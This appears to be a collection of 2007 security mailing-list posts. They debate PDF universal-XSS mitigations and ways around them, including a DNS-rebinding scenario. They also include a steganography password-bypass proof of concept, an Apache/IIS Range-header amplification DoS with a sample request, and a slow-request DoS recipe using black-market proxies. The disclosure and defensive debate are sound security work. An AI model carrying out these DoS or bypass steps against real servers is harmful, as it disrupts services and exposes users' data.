2007.0/x86_64/avahi-dnsconfd-0.6.13-4.2mdv2007.0.x86_64.rpm 6186acf41ae8f0466158c9baeb46b688 2007.0/x86_64/avahi-python-0.6.13-4.2mdv2007.0.x86_64.rpm a810ca0d5eefc79882a2922c4d2b1819 2007.0/x86_64/avahi-sharp-0.6.13-4.2mdv2007.0.x86_64.rpm ad25b467a05edd773045c4710dfe3802 2007.0/x86_64/avahi-x11-0.6.13-4.2mdv2007.0.x86_64.rpm 8ca2ef2791379beec855af78a4c9ddc6 2007.0/x86_64/lib64avahi-client3-0.6.13-4.2mdv2007.0.x86_64.rpm 45217f18c88ce547cb1a7376e97e3567 2007.0/x86_64/lib64avahi-client3-devel-0.6.13-4.2mdv2007.0.x86_64.rpm 453dbcd08a1fe2413e32cac3b5cb2f11 2007.0/x86_64/lib64avahi-common3-0.6.13-4.2mdv2007.0.x86_64.rpm fadf1a660490adcf1c47f4ea3d42ba33 2007.0/x86_64/lib64avahi-common3-devel-0.6.13-4.2mdv2007.0.x86_64.rpm 4247e04c65d855d36e5273bed281b463 2007.0/x86_64/lib64avahi-compat-howl0-0.6.13-4.2mdv2007.0.x86_64.rpm f0cb08bf33d91165d5298223de11f026 2007.0/x86_64/lib64avahi-compat-howl0-devel-0.6.13-4.2mdv2007.0.x86_64.rpm 6652bacf267ea46b4d06a6bed7d504b8 2007.0/x86_64/lib64avahi-compat-libdns_sd1-0.6.13-4.2mdv2007.0.x86_64.rpm 69600fd816780de31621c4b5e86a4644 2007.0/x86_64/lib64avahi-compat-libdns_sd1-devel-0.6.13-4.2mdv2007.0.x86_64.rpm 587258202393cd826826a94af80cbe17 2007.0/x86_64/lib64avahi-core4-0.6.13-4.2mdv2007.0.x86_64.rpm 9b048c8a6dfbc0c42bc088fa6983fe7b 2007.0/x86_64/lib64avahi-core4-devel-0.6.13-4.2mdv2007.0.x86_64.rpm 332e5e3e44ac035cef0d03b26b5d1d6c 2007.0/x86_64/lib64avahi-glib1-0.6.13-4.2mdv2007.0.x86_64.rpm cfeda3f7394c4cd28074cc393cdb140d 2007.0/x86_64/lib64avahi-glib1-devel-0.6.13-4.2mdv2007.0.x86_64.rpm b95bec83a950e8ac19ab9d10b24052cd 2007.0/x86_64/lib64avahi-qt3_1-0.6.13-4.2mdv2007.0.x86_64.rpm be3469df6e708ee450de14911c60d617
Re: [WEB SECURITY] Universal XSS with PDF files: highly dangerous
Updates: 1. In private communication, Tom Spector observed that the cookie doesn't add any significant security. In retrospect, I could have omitted it completely. It's there as a remnant of a previous idea I had. In other words, I see nothing wrong with the following, simpler and more elegant algorithm (Look ma - no cookie): IF the URL doesn't contain token_query, then: calculate X=encrypt_with_key(server_time, client_IP_address) redirect to file.pdf?token_query=X ELSE IF the URL contains token_query, and decrypt(token_query).IP_address==client_IP_address and decrypt(token_query).timeserver_time-10sec serve the PDF resource as an in-line resource ELSE serve the PDF resource as a save to disk resource via a proper choice of the Content-Type header (and/or an attachment, via Content-Disposition). And big thanks to Tom who pointed this out. 2. While thinking more about this solution, I observed that if the attacker can have an agent sharing the same IP address with the victim (by agent I mean an entity that can communicate with the target web site and read back its response data), then the algorithms I suggested will not be effective. Note that an attacker can share IP address with the victim when both share a forward proxy (e.g. some universities and ISPs), or when the attacker and victim share the same machine (multi-user environment). Still, that narrows down the attack surface significantly. Thanks, -Amit Amit Klein wrote: It seems that I forgot all about Flash when I wrote that (the irony...). The solution I proposed is not secure enough as-is. It is trivial to write a SWF object that will request file.pdf?token_query=123 and add a Cookie: token_cookie=123. This is discussed in yours truly's Forging HTTP request headers with Flash ( http://www.securityfocus.com/archive/1/441014) and in Rapid7's Rapid7 Advisory R7-0026 - HTTP Header Injection Vulnerabilities in the Flash Player Plugin ( http://www.rapid7.com/advisories/R7-0026.jsp). Even adding cryptographic secret, time-based entropy or use counter doesn't help - all this can be circumvented by a server script on the attacker's site preparing the HTTP request and communicating it in real-time to the SWF object at the victim's browser. The solution I could come up with is to tie X to the IP address of the client. Yes, I know - it's ugly, and it doesn't work 100% of the cases. But you stand nothing to lose if you simply fall back to the save to disk option, suggested by an anonymous SlashDot submitter ( http://it.slashdot.org/comments.pl?sid=214868threshold=1commentsort=0mode=threadcid=17450834 http://it.slashdot.org/comments.pl?sid=214868threshold=1commentsort=0mode=threadcid=17450834). So the more secure solution, as I see it, is as following: Apply only for PDF resources: IF the URL doesn't contain token_query, then: calculate X=encrypt_with_key(server_time, client_IP_address) redirect to file.pdf?token_query=X with Set-Cookie: token_cookie=X to expire at server_time+10sec. ELSE IF the URL contains token_query, and token_query==token_cookie and decrypt(token_query).IP_address==client_IP_address and decrypt(token_query).timeserver_time-10sec serve the PDF resource as an in-line resource ELSE serve the PDF resource as a save to disk resource via a proper choice of the Content-Type header (and/or an attachment, via Content-Disposition). Hopefully this should work. But it's definitely less elegant than the original (flawed) suggestion. -Amit
Re: [WEB SECURITY] Universal XSS with PDF files: highly dangerous
2. While thinking more about this solution, I observed that if the attacker can have an agent sharing the same IP address with the victim (by agent I mean an entity that can communicate with the target web site and read back its response data), then the algorithms I suggested will not be effective. Note that an attacker can share IP address with the victim when both share a forward proxy (e.g. some universities and ISPs), or when the attacker and victim share the same machine (multi-user environment). Still, that narrows down the attack surface significantly. It should be noted that this isn't as rare as just a few universities and ISPs. This also happens in lots of corporate networks (rogue user on the internal network), it happens with lots of internet cafe's, it happens with AOL (~5MM users) and it happens with TOR users. So while, yes, I agree it is better than nothing it is hardly a rock solid solution for anyone on a shared IP. -RSnake http://ha.ckers.org/ http://sla.ckers.org/ http://ha.ckers.org/fierce/
Re: [WEB SECURITY] Universal XSS with PDF files: highly dangerous
RSnake wrote: 2. While thinking more about this solution, I observed that if the attacker can have an agent sharing the same IP address with the victim (by agent I mean an entity that can communicate with the target web site and read back its response data), then the algorithms I suggested will not be effective. Note that an attacker can share IP address with the victim when both share a forward proxy (e.g. some universities and ISPs), or when the attacker and victim share the same machine (multi-user environment). Still, that narrows down the attack surface significantly. It should be noted that this isn't as rare as just a few universities and ISPs. This also happens in lots of corporate networks (rogue user on the internal network), it happens with lots of internet cafe's, it happens with AOL (~5MM users) and it happens with TOR users. So while, yes, I agree it is better than nothing it is hardly a rock solid solution for anyone on a shared IP. The point is - someone with shared IP is vulnerable ONLY to an attacker with the same IP. Which makes attacks much less generic and much more painful. Rock solid it ain't, but I think it's a pretty good band-aid until all (hmmm...) clients upgrade to Acrobat Reader 8.0. -Amit
Re: [WEB SECURITY] Universal XSS with PDF files: highly dangerous
The point is - someone with shared IP is vulnerable ONLY to an attacker with the same IP. Which makes attacks much less generic and much more painful. Rock solid it ain't, but I think it's a pretty good band-aid until all (hmmm...) clients upgrade to Acrobat Reader 8.0. -Amit Sorry for responding late, I've been doing some consulting work. After talking with some people on my blog I don't believe that is the case (at least not in theory). Let's say Alice has an account with Bob's website. Cathy is an attacker who owns a website that uses anti-DNS pinning. Cathy wants Alice's credentials from Bob's website. 1) Alice visit's Cathy's malicious website www.whatever.com that points to 123.123.123.123 (Cathy's IP). 2) Cathy uses an XMLHTTPRequest to tell Alice's browser to visit www.whatever.com in a few seconds and times out the DNS entry immediatly. 3) Alice's browser connects to www.malicious.com but Cathy has shut down the port. The browser DNS pinning no longer points to 123.123.123.123 and instead it asks Cathy's bind server where the new IP of www.whatever.com is. 4) Cathy's bind server now points to 222.222.222.222 (Bob's server). 5) Alice's browser now connects to 222.222.222.222 and reads the token from that page (cookie, redirect, or whatever) via XMLHTTPRequest and forwards that information to Cathy's other website www2.malicious.com. 6) Cathy reads Alice's token and then forwards Alice's browser to Bob's server (not the IP, but the actual address) with Alice's token (if the token is a cookie we can use the Flash header forging trick). Alice's cookie is not yet compromised because she is looking at a different website, and her browser does not send the cookie, yet. 7) Alice's connects to Bob's server with the PDF anchor tag and the correct token to view the PDF. Since the token is bound by IP the token works. 8) Alice executes Cathy's malicious JavaScript malware in the context of Bob's web server. It's ugly, but it should work, in theory. Clear as mud? -RSnake http://ha.ckers.org http://sla.ckers.org/
Cracking Steganography Application in less than ONE minute
Good day Direct Link to Advisory http://homepage.mac.com/adonismac/Advisory/steg/steganography.html Affected Product Steganography 1.7.1 and 1.8 (latest). http://www.securekit.com/hidefiles.htm Bug Type and Date = Type: Bad Design Date: 01/06/2007 Bug Results === Cracking encrypted steganorgaphy files without any bruteforce. Bug Description === You can crack steganography encrypted files very easy in fact in less than one minute. The problem is similar to the bug I found in PGP last year. First you have to identify the steged files. Steganography application leave a footprint after you stego a file. If you look at the end of your steged file you will notice it will end with 30 00 02 FF FF. So a simple HEX search will reveal all steged files. So now we have identified the steged, the next step is to access the HIDDEN message without cracking the password. Here is how Proof-of-Concept Step 01 1- We use a file cover (carrier file) called picture_original.jpg 2- We will hide inside it a message Hello Adonis 3- We will use a password aa 4- We generated the steged file we will call it picture_with_hidden_msg.jpg Step02 == To access the hidden message WITHOUT the original password aa we will do the followings: 1- We will use any other picture file say mypicture.jpg 2- We will hide inside it a message WHATEVER 3- We will use a password a 4- We generate the steged file we will call it mypicture_steg.jpg 5- We will open Both pictures in a hex editor 6- We will replace the last 20 bites of picture_with_hidden_msg.jpg with the one from mypicture_steg.jpg 7- Save picture picture_with_hidden_msg.jpg 8- Open it using a as password. YES we overwrite the password with something we know. Simple hein !!! Peace
Re: a cheesy Apache / IIS DoS vuln (+a question)
On Wed, 3 Jan 2007, William A. Rowe, Jr. wrote: Michal Zalewski wrote: I feel silly for reporting this, but I couldn't help but notice that Apache and IIS both have a bizarro implementation of HTTP/1.1 Range header functionality (as defined by RFC 2616). Their implementations allow the same fragment of a file to be requested an arbitrary number of times, and each redundant part to be received separately in a separate multipart/byteranges envelope. Batten down the hatches! (An example would be an old-fashioned attack on a server that happens to host multi-gigabyte ISO files or movies - simply request them many times and let window scaling do the rest... of course, most high-profile sites are smart enough to host static HTML and basic layout elements separately from such bandwidth-intensive and non-essential content, so it still makes sense to take note of Range behavior). Seriously, HTTP pipelining can accomplish EXACTLY the same thing with minimal pain. If you have an issue with this behavior, of HTTP, then you have an issue with the behavior under FTP or a host of other protocols. And as you say, simple enough to find some 1.5mb pdf's. But you expect 1gb window sizes to actually succeed? In 95% of the cases that follow your comment above, although the load may be often be distributed between boxes based on computational intensity, it is nearly always shoved down the same pipe in the end. Combined with the functionality of window scaling (as per RFC 1323) is exactly where your concern should lay - socket kernel-level control of unrealistic window scaling, and similar scaling restrictions at the router layer. With the host of real issues out there in terms of massively parallel DDoS infrastructures that abound, this is, as you say, quite a silly report. Wrong. Any vulnerability, no matter how many others are out there or how unlikely, is indeed a vulnerability. As one of the people leading the battle againt what you refer to as massively parallel DDoS infrastructures, I can tell you I am almost inclined to giggle here. Is all you are saying: YES but mine is better? Gadi.
Re: RE: [Full-disclosure] Concurrency strikes MSIE (potentially exploitablemsxml3 flaws)
i tried this with IE7 on Vista Ultimate, 45mins later and its still working as expected. However I do get a javascript error: (Sorry had to retype it out) Line: 0 Char: 0 Error: The following tags where not closed: foo, foo, foo, foo, foo, foo, foo, foo, foo, foo, foo, foo, foo, foo, foo, foo, foo, foo, foo, foo, foo, foo, foo, foo, foo, Code: 0 URL: http://lcamtuf.coredump.cx/iediex/foo.xml?0.2704747905180121
Re: SAP Security Contact
Le vendredi 05 janvier 2007, Thor (Hammer of God) a écrit : Something like [EMAIL PROTECTED] may seem obvious, but it's better if you list specific contact info so it can be easily found. I don't want to be rude but : - [EMAIL PROTECTED] is the only standardized security contact (as defined by RFC 2142) - googling [EMAIL PROTECTED] would bring some results - this was already answered on the Full-Disclosure mailing list - the OSVDB Vendor Dictionary contains a record for SAP - even the SecurityFocus site has some references to this email address : http://www.securityfocus.com/columnists/415 Nicob
Re: FON Router allows anonymous web access
Dear All, lfgnd La Fonera routers distributed by FON allow web access to lfgnd unauthenticated users via DNS tunneling. Have been in a Hotel recently? I think actually we should post those that are NOT vulnerable to this rather then post those who are. Pun intended. -- http://secdev.zoller.lu Thierry Zoller Fingerprint : 5D84 BFDC CD36 A951 2C45 2E57 28B3 75DD 0AC6 F1C7
RFID open source library - RFIDIOt code release - version 0.1k
Folks, Over the Christmas break I did quite a bit of work on the code and have added a hardware abstraction layer that allows support for readers other than the ACG, and to test it I've added limited support for the Frosch Hitag reader. New features in this release: Program Hitag2 to EM4x02 / Unique Reset Hitag2 to default state (Frosch only) Read German passports Various tidy-ups and improvements Code can be found here: http://www.rfidiot.org/#Where Enjoy, Adam -- Adam Laurie Tel: +44 (0) 1304 814800 The Bunker Secure Hosting Ltd. Fax: +44 (0) 1304 814899 Ash Radar Station http://www.thebunker.net Marshborough Road Sandwichmailto:[EMAIL PROTECTED] Kent CT13 0PL UNITED KINGDOM PGP key on keyservers
Re: a cheesy Apache / IIS DoS vuln (+a question)
to kill is enough not to finish the request and let it timeout on server side. no ddos/dos protection layers can stand against this attack (as far as i know) and the scenario is simple 1. fingerprint the timeout on serverside 2. dig the sitemap from target 3. build a list of browsers to advertise to server during request 4. buy proxies from black market 5. start requests thru proxies to target requests are never to be finished. randomized headers, following the sitemap. send few bytes, wait smthin less than server timeout and send the next few bytes, never finish the request. at least apache will wait for the request to finish. with 2k proxies starting 3-4 requests (browsers sending parallel requests, target should allow more than one request) u can generate a contigous flow of 6k to 8k requests to apache. starvation will start sooner apache will just consume its resources waiting for bogus requests to finish, he will never read a full request but will just timeout waiting for data. the thing is you can make the wait process longer, because (at least in some implementation, i think i tested 1.3.x and 2.0.x), you send first few bytes then put apache in wait he will start his timer but when u send the next few bytes after X seconds he will reset his timer for that request. slow , sure-thing death. with a default timeout of 300 seconds on server side and request headers having lets say 512 bytes of data, sending max rand(5,10) bytes before timeout comes in u will keep a thread busy for at least 300*50 seconds with one single request ... discard connection when requewst is sent and just start a new one, u dont have to consume bw by reading response a quick fix for this can be available at least on bsd, there is accf_http that can be modified not to pass the connection to apache until a full request is read (either get or post, full, not just the first get request header, ofcourse this can be even worst for a lot of post data). prolly there are ddos middle layers that can do the thing but i did not found one yet. at least the big guys on the market seem to be vulnerable. you can't find patterns to stop this kind of attack cuz you simulate a real browser 100%, all u can do is to readahead the request and filter bogus before apache does. 99% from apache setups coming with default config, never modified by owner. thinking cpanel, at least. its not about consuming srv bw, its just about making it choke and its happening very fast. On Thu, Jan 04, 2007 at 12:27:11AM +0100, Michal Zalewski wrote: I feel silly for reporting this, but I couldn't help but notice that Apache and IIS both have a bizarro implementation of HTTP/1.1 Range header functionality (as defined by RFC 2616). Their implementations allow the same fragment of a file to be requested an arbitrary number of times, and each redundant part to be received separately in a separate multipart/byteranges envelope. Combined with the functionality of window scaling (as per RFC 1323), it is my impression that a lone, short request can be used to trick the server into firing gigabytes of bogus data into the void, regardless of the server file size, connection count, or keep-alive request number limits implemented by the administrator. Whoops? Since there are easier tools to (D)DoS a service, and since nothing about this attack is particularly innovative, I'll just describe what's on my mind... let's say that http://example.com/foo.html is a medium-size static file we found on the server (something on the order of 300 kB for Apache and 150 kB for IIS is optimal). An attack would then look roughly the following way: 1) Connect to the server (as many times as allowed by the remote party or deemed appropriate for the purpose of this demonstration), 2) Negotiate a high TCP window size for each of the connections (1 GB should be doable), 3) Send a partial request as follows for each of the connections: GET /foo.html HTTP/1.1 Host: example.com Range: bytes=0-,0-,0-,0-,0-... (up to 8 kB for Apache, 16 kB for IIS) Each 0- would generate a separate multipart/byteranges containing the entire file (bytes from 0 'til EOF). 4) Send a closing newline within each of the connections to commit the request, 5) Silently drop the connections, possibly re-connect to dial-up / DSL to duck the responses that would keep pouring at full speed until TCP window size is exhausted or an ISP-level non-delivery / congestion control mechanism kicks in (and isn't filtered out down the route). This should cause the server to send gigabytes of data, with only a minimal bandwidth expense on the attacker's end. Well, that's the story. This isn't the only fire-and-run-away attack that seems to be made much more feasible with the help of window scaling (by making it more tempting for the attacker to request tons of data and then go off-line
RE: [WEB SECURITY] Universal XSS with PDF files: highly dangerous
Another similar option is to use a single-use random value (not encrypted), that gets invalidated after it's served back. You can save the random value on the (non persistent) session (server-side), and serve the PDF only if the correct random value is provided. Once a random value has been used, it's cleared (single-use). In any case where the wrong value is provided - recreate a random value, save it on the session, and redirect to the PDF with it (same behavior as when the token isn't provided at all). So the flow is: IF the URL Session[X] != null (we have a previously created random val) AND request contains token_query AND token_query==Session[X]: Session[X] = null -- Clear the token (it's only good for one use) serve the PDF resource as an in-line resource ELSE: calculate X = new random token value Session[token] = X --save X on session (works for that user only) redirect to file.pdf?token_query=X Time delays can be added for extra security, but since the session isn't persistent, it'll usually not be required. One more note about the redirect: It seems that firefox retains the fragment portion when you redirect. So if you're browsing: http://server/page.aspx#target And you redirect to http://server/page.aspx, Firefox will keep the #target fragment! To work around this, you can redirect to http://server/page.aspx#a - by adding a fragment to your redirect, you make firefox get rid of the old one. Cheers, Guypo -Original Message- From: Amit Klein [mailto:[EMAIL PROTECTED] Sent: Thursday, January 04, 2007 4:38 PM To: bugtraq@securityfocus.com; Web Security Subject: Re: [WEB SECURITY] Universal XSS with PDF files: highly dangerous Updates: 1. In private communication, Tom Spector observed that the cookie doesn't add any significant security. In retrospect, I could have omitted it completely. It's there as a remnant of a previous idea I had. In other words, I see nothing wrong with the following, simpler and more elegant algorithm (Look ma - no cookie): IF the URL doesn't contain token_query, then: calculate X=encrypt_with_key(server_time, client_IP_address) redirect to file.pdf?token_query=X ELSE IF the URL contains token_query, and decrypt(token_query).IP_address==client_IP_address and decrypt(token_query).timeserver_time-10sec serve the PDF resource as an in-line resource ELSE serve the PDF resource as a save to disk resource via a proper choice of the Content-Type header (and/or an attachment, via Content-Disposition). And big thanks to Tom who pointed this out. 2. While thinking more about this solution, I observed that if the attacker can have an agent sharing the same IP address with the victim (by agent I mean an entity that can communicate with the target web site and read back its response data), then the algorithms I suggested will not be effective. Note that an attacker can share IP address with the victim when both share a forward proxy (e.g. some universities and ISPs), or when the attacker and victim share the same machine (multi-user environment). Still, that narrows down the attack surface significantly. Thanks, -Amit Amit Klein wrote: It seems that I forgot all about Flash when I wrote that (the irony...). The solution I proposed is not secure enough as-is. It is trivial to write a SWF object that will request file.pdf?token_query=123 and add a Cookie: token_cookie=123. This is discussed in yours truly's Forging HTTP request headers with Flash ( http://www.securityfocus.com/archive/1/441014) and in Rapid7's Rapid7 Advisory R7-0026 - HTTP Header Injection Vulnerabilities in the Flash Player Plugin ( http://www.rapid7.com/advisories/R7-0026.jsp). Even adding cryptographic secret, time-based entropy or use counter doesn't help - all this can be circumvented by a server script on the attacker's site preparing the HTTP request and communicating it in real-time to the SWF object at the victim's browser. The solution I could come up with is to tie X to the IP address of the client. Yes, I know - it's ugly, and it doesn't work 100% of the cases. But you stand nothing to lose if you simply fall back to the save to disk option, suggested by an anonymous SlashDot submitter ( http://it.slashdot.org/comments.pl?sid=214868threshold=1commentsort=0; mode=threadcid=17450834 http://it.slashdot.org/comments.pl?sid=214868threshold=1commentsort=0 mode=threadcid=17450834). So the more secure solution, as I see it, is as following: Apply only for PDF resources: IF the URL doesn't contain token_query, then: calculate X=encrypt_with_key(server_time, client_IP_address) redirect to file.pdf?token_query=X with Set-Cookie: token_cookie=X to expire at server_time+10sec. ELSE IF the URL contains token_query, and token_query==token_cookie and decrypt(token_query).IP_address==client_IP_address and decrypt(token_query).timeserver_time-10sec
Re: [WEB SECURITY] Universal XSS with PDF files: highly dangerous
Guy Podjarny wrote: Another similar option is to use a single-use random value (not encrypted), that gets invalidated after it's served back. You can save the random value on the (non persistent) session (server-side), and serve the PDF only if the correct random value is provided. Once a random value has been used, it's cleared (single-use). In any case where the wrong value is provided - recreate a random value, save it on the session, and redirect to the PDF with it (same behavior as when the token isn't provided at all). Here's an attack against this scheme: Attacker sends the user a link to http://www.attacker.site/script.cgi When the user requests http://www.attacker.site/script.cgi, the script.cgi requests file.pdf from vuln.site. It gets back a redirection URL and a session cookie. Then, it creates a Flash object that requests the URL with an injected Cookie header (with the session cookie) and serves this to the victim client. Voila.
